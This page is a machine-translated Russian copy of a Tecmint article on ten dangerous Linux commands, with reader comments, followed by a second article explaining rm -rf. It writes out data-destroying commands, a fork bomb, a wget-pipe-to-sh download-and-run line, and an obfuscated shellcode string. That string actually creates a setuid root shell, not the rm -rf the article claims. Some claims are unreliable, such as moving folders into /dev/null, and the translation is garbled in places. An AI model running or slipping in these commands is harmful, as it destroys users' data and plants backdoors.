10 самых опасных команд, которые нельзя выполнять в Linux

Командная строка Linux продуктивна, полезна и интересна, но иногда она может быть очень опасной, особенно если вы не уверены, что делаете. Эта статья не предназначена для того, чтобы вас разозлить Linux или командная строка Linux . Мы просто хотим познакомить вас с некоторыми командами, которые вам следует дважды подумать, прежде чем выполнять их.

10 опасных команд Linux

1. Команда rm -rf

Команда rm -rf — один из самых быстрых способов удалить папку и ее содержимое. Но небольшая опечатка или незнание может привести к неисправимому повреждению системы. Вот некоторые из опций, используемых с командой rm .

  1. rm в Linux используется для удаления файлы.
  2. rm -r команда рекурсивно удаляет папку, даже пустую.
  3. rm — f команда удаляет «файл только для чтения» без запроса.
  4. rm -rf/: принудительное удаление всего в корневом каталоге.
  5. rm -rf * : принудительное удаление всего в текущем/рабочем каталоге.
  6. rm -rf. : принудительное удаление текущей папки и подпапок.

Следовательно, будьте осторожны при выполнении команды rm -rf . Чтобы предотвратить случайное удаление файла командой ‘ rm ‘, создайте псевдоним команды ‘ rm ‘ как ‘ rm -i ‘в файле « .bashrc », он будет запрашивать подтверждение каждого удаления.

2. : () {: |: &} ;: Command

Вышеупомянутое на самом деле является вилкой-бомбой . Он работает путем определения функции с именем «: », которая вызывает себя дважды, один раз на переднем плане и один раз в фоновом режиме. Он продолжает выполняться снова и снова, пока система не зависнет.

: () {: |: &} ;: 

3. command>/dev/sda

Приведенная выше команда записывает вывод ‘ command ‘ в блок /dev/sda . Приведенная выше команда записывает необработанные данные, и все файлы в блоке будут заменены необработанными данными, что приведет к полной потере данных в блоке.

4. mv folder/dev/null

Приведенная выше команда переместит ‘ folder ‘ в /dev/null . В Linux устройство /dev/null или null — это специальный файл, который отбрасывает все записанные в него данные и сообщает об успешном завершении операции записи.

 # mv/home/user/*/dev/null 

Приведенная выше команда переместит все содержимое каталога User в /dev/null , что буквально означает, что все было отправлено в blackhole ( null) .

5. wget http://вредоносный_источник -O- | sh

Приведенная выше команда загрузит сценарий из вредоносного источника и затем выполнит его. Команда Wget загрузит скрипт, а sh выполнит загруженный скрипт.

Примечание : вы должны очень хорошо знать источник, откуда вы загружаете пакеты и скрипты. Используйте только те скрипты/приложения, которые загружены из надежного источника.

6. mkfs.ext3/dev/sda

Приведенная выше команда отформатирует блок ‘ sda’ , и вы наверняка будете знать, что после выполнения указанной выше команды ваш блок ( Жесткий диск ) будет новым, СОВЕРШЕННО НОВИНКА! Без каких-либо данных, ваша система находится в неустранимом состоянии.

7. > файл

Приведенная выше команда используется для очистки содержимого файла. Если указанная выше команда выполняется с опечаткой или незнанием типа «> xt.conf» , будет записан файл конфигурации или любой другой файл системы или конфигурации.

8 . ^ foo ^ bar

Эта команда, как описано в наших 10 малоизвестных командах Linux, используется для редактирования предыдущей команды запуска без необходимости повторного ввода всей команды снова. Но это действительно может вызвать проблемы, если вы не рискнули тщательно проверить изменение исходной команды с помощью команды ^ foo ^ bar .

9. dd if =/dev/random of =/dev/sda

Вышеупомянутая команда уничтожит блок sda и запишет в блок случайные нежелательные данные. Конечно! Ваша система останется на несовместимой и неустранимой стадии.

10. Скрытая команда

Следующая команда — это не что иное, как первая команда выше ( rm -rf ). Здесь коды скрыты в шестнадцатеричной системе , так что несведущего пользователя можно обмануть. Выполнение приведенного ниже кода в вашем терминале приведет к удалению вашего root раздела.

Эта команда показывает, что угроза может быть скрытой и иногда не обнаруживается. Вы должны осознавать, что делаете и каков будет результат. Не компилируйте/не запускайте коды из неизвестного источника.

 char esp [] __attribute__ ((section («. Text»)))/* esprelease */= « xeb  x3e   x5b  x31  xc0  x50  x54  x5a  x83  xec  x64  x68 ″ « xff  xff  xff  xff  x68  xdf  xd0  xdf  xd9  x68  x8d  x99 ″«  xdf   x81  x68  x8d  x92  xdf  xd2  x54  x5e  xf7  x16  xf7 ″ « x56  x04  xf7  x56  x08  xf7  x56  x0c  x83  xc4  x74  x56 ″«   x8d  x73  x08  x56  x53  x54  x59  xb0  x0b  xcd  x80  x31 ″ « xc0  x40  xeb  xf9  xe8  xbd  xff  xff  xff  x2f  x62  x69 ″  « X6e  x2f  x73  x68  x00  x2d  x63  x00 ″« cp -p/bin/sh/tmp/.beyond;  chmod 4755/tmp/.beyond; ”; 

Примечание : не выполняйте ни одну из вышеперечисленных команд в вашем Linux терминал или оболочка, или вашего друга, или школьного компьютера. Если вы хотите протестировать их, запустите их на виртуальной машине. Любое несоответствие или потеря данных из-за выполнения вышеуказанной команды приведет к поломке вашей системы, для чего ни Автор статьи, ни Tecmint не ответственный.

На этом пока все. Я скоро снова буду здесь с еще одной интересной статьей, которую люди будут любить читать. А пока следите за обновлениями и подключайтесь к Tecmint . Если вам известны другие такие опасные команды Linux и вы хотели бы, чтобы мы добавили их в список, сообщите нам об этом в разделе комментариев и не забудьте оставить свой ценный отзыв.


Сегодня я написал команду, используя один * и ничего больше, и в результате был удален весь текущий каталог!

К счастью, я добавляю все резервные копии на Git bitbucket.

Ответ


Есть ли какие-нибудь сведения о скрытых командах?

Ответ


: () {: |: &} дает мне « bash: синтаксическая ошибка возле неожиданного токена` {: ‘ «. Пожалуйста, помогите.

Ответить


Спасибо. теперь мне действительно любопытно увидеть эти команды в действии!

Ответ


«rm -f» заменяет «rm -i», не так ли?

Ответ


Хм… Спасибо за статью. Но KJ прав: «Я сомневаюсь, что это сработает, вы получите сообщение об ошибке, например: mv: target '/dev/null' не является каталогом или mv: не может перезаписать не -directory ‘/dev/null ‘ с каталогом ‘folder’ »

Невозможно переместить папки в /dev/null код>. Можно было бы ожидать, что автор такого руководства на самом деле попробовал эти команды, прежде чем писать «экспертную» статью об этом… Но разве это только я слишком критичен ??? Однако файлы можно перемещать туда. Но эти файлы перезапишут/dev/null-content.

Reply



Что на самом деле делает команда «rm -rf» в Linux?

rm command — это утилита командной строки UNIX и Linux для удаления файлов или каталогов в системе Linux. В этой статье мы четко объясним, что на самом деле команда «rm -rf» может делать в Linux.

Кроме того, мы поделимся несколькими полезными примерами удаление файла, удаление каталога, удаление нескольких файлов или каталогов, запрос подтверждения, рекурсивное удаление файлов и принудительное удаление файлов.

Команда rm также одна из часто используемых команд в системе Linux, но также и опасная команда, о которой вы узнаете позже в этой статье.

Как удалить файл в Linux

По умолчанию команда rm немедленно удаляет только файл или файлы, указанные в командной строке, и не удаляет каталоги.

 $ mkdir -p tecmint_files $  touch tecmint.txt $ rm tecmint.txt $ rm tecmint_files 

Пример команды rm

Как удалить несколько файлов в Linux

Чтобы удалить сразу несколько файлов, укажите имена файлов один за другим (например: file1 file2 ) или используйте шаблон для удаления нескольких файлов (например: шаблон, заканчивающийся на .txt ) за один раз.

 $ rm tecmint.txt fossmint.txt [Использование имен файлов] $ rm * .txt [Использование шаблона] 

Удаление нескольких файлов в Linux

Как удалить каталог в Linux

Чтобы удалить каталог, вы можете использовать переключатель -r или -R , который сообщает rm рекурсивно удалить каталог, включая его содержимое (подкаталоги и файлы).

 $ rm tecmint_files/$ rm -R tecmint_files/

Удалить каталог в Linux

Как удалить e Файлы с запросом подтверждения

Чтобы запрашивать подтверждение при удалении файла, используйте параметр -i , как показано.

 $  rm -i tecmint.txt 

Удалить файлы с подтверждением

Как удалить каталоги с запросом подтверждения

Чтобы запрашивать подтверждение при удалении каталога и его подкаталогов, используйте -R и -i , как показано.

 $ rm -Ri tecmint_files/

Удалить каталог с подтверждением

Как принудительно удалить файл или каталог

Чтобы принудительно удалить файл или каталог, вы можете использовать параметр -f принудительно выполнить операцию удаления без запроса rm подтверждения. Например, если файл недоступен для записи, rm предложит вам удалить этот файл или нет, чтобы избежать этого, и просто выполнит операцию.

 $ rm -f tecmint.txt 

Когда вы объединяете флаги -r и -f , это означает, что рекурсивно и принудительно удалить каталог (и его содержимое) без запроса подтверждение.

 $ rm -rf fossmint_files 

Принудительное удаление файла и каталога

Как отображать информацию при удалении

Чтобы показать дополнительную информацию при удалении файла или каталога, используйте -v , это позволит команде rm показывать, что делается в стандартном выводе.

 $ rm -rv fossmint_files 

Показать информацию об удалении

Изучите rm -Rf/Command

Вы всегда должны помнить что «rm -rf» — один из самых опасных команды rous, которые вы никогда не сможете запустить в системе Linux, особенно с правами root. Следующая команда очистит все в вашем разделе root (/) .

 # rm -rf/

Создать псевдоним для rm Команда в Linux

В качестве меры безопасности вы можете сделать так, чтобы rm всегда предлагал вам подтвердить операцию удаления каждый раз, когда вы хотите удалить файл или каталог. с помощью параметра -i . Чтобы настроить это навсегда, добавьте псевдоним в свой файл $ HOME/.bashrc .

 alias rm = "rm -i" 

Сохраните изменения и выйдите из файла. Затем создайте файл .bashrc , как показано, или откройте новый терминал, чтобы изменения вступили в силу.

 $ source $ HOME/.bashrc 

Это просто означает, что когда вы запускаете rm , он будет вызываться с параметром -i по умолчанию (но с использованием -f заменит этот параметр).

 $ rm fossmint.txt $ rm tecmint.txt 

Подтверждение команды псевдонима rm

Удаляет ли rm файл?

На самом деле rm никогда не удаляет файл, вместо этого она отключает связь с диском, но данные все еще находятся на диске и могут быть восстановлены с помощью таких инструментов, как PhotoRec, Scalpel или Foremost.

Если вы действительно хотите навсегда удалить файл или каталог, вы можете использовать инструмент командной строки shred, чтобы перезаписать файл, чтобы скрыть его содержимое.

Вот и все! В этой статье мы объяснили некоторые действительно полезные примеры команды rm , а также подробно рассказали о том, что команда «rm -rf» может делать в Linux. Если у вас есть какие-либо вопросы или дополнения, которыми вы хотите поделиться, используйте форму комментариев ниже, чтобы связаться с нами.


Спасибо за прекрасную статью! Раньше я использовал rm -rf , не зная, что это означает, теперь я использую!

Ответ


@Anas

Спасибо за полезный отзыв.

Ответ


Что происходит, когда команда rm -rf * используется на любом пути. Например, что произойдет, если это будет сделано с « company/employee/rm -rf * », где в каталоге сотрудников есть подкаталоги? Будет ли он выдавать ошибку или удаляет файлы и все подкаталоги, имеющиеся в каталоге сотрудников

Ответ


Отличная статья, очень полезная для новичков, таких как я ..

Ответить


@Uma

Большое спасибо за отзыв.

Ответьте


Если вы хотите удалить много файлы, 10.000 и более, например — команда rm вам не поможет.

Слишком много файлов для чтения …

Вы должны найти другой способ удалить большое количество файлов.

Ответить


Как вы можете надеяться объяснить, что делает команда, когда вы не можете даже заголовок вашей статьи правильно?

Ответ


@No

Спасибо за внимание, мы скоро исправим заголовок.

Ответ


rm -rf для чего он нужен.

Если вы выполните его для файлов клиентов, rm — rf заберет вашу работу.

Ответ


@ Раджеш

Верно, спасибо, что поделился с нами своими мыслями.

Ответ


Я узнал новое о rm. Хороший.

Ответ


@Shiva

Мы рады, что вы узнали что-то новое о rm, спасибо за отзыв.

Ответ

Оцените статью
logicle.ru
Добавить комментарий